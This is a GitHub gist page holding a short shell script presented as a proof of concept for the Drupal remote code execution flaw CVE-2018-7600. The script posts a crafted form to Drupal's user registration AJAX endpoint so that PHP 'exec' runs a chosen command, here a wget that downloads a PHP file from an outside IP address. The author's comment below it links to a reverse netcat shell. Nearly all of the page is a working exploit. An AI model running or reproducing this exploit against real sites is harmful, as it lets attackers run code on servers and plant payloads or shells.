Skip to content

Instantly share code, notes, and snippets.

@AlbinoDrought

AlbinoDrought/exploit.sh

Created April 12, 2018 17:18
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AlbinoDrought/626c07ee96bae21cb174003c9c710384 to your computer and use it in GitHub Desktop.
Save AlbinoDrought/626c07ee96bae21cb174003c9c710384 to your computer and use it in GitHub Desktop.
Download ZIP
Drupal CVE-2018-7600 PoC
Raw
exploit.sh
#!/bin/sh
# https://github.com/a2u/CVE-2018-7600/issues/2
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"
PHP_ARG="wget http://172.16.30.108:6969/foob.php"
curl -X POST \
"$HOST/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-F form_id=user_register_form \
-F _drupal_ajax=1 \
-F "mail[#post_render][]=$PHP_FUNCTION" \
-F 'mail[#type]=markup' \
-F "mail[#markup]=$PHP_ARG"
@AlbinoDrought
Copy link
Author

Reverse netcat shell: https://gist.github.com/AlbinoDrought/2854ca1b2a9a4f33ca87581cf1e1fdd4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment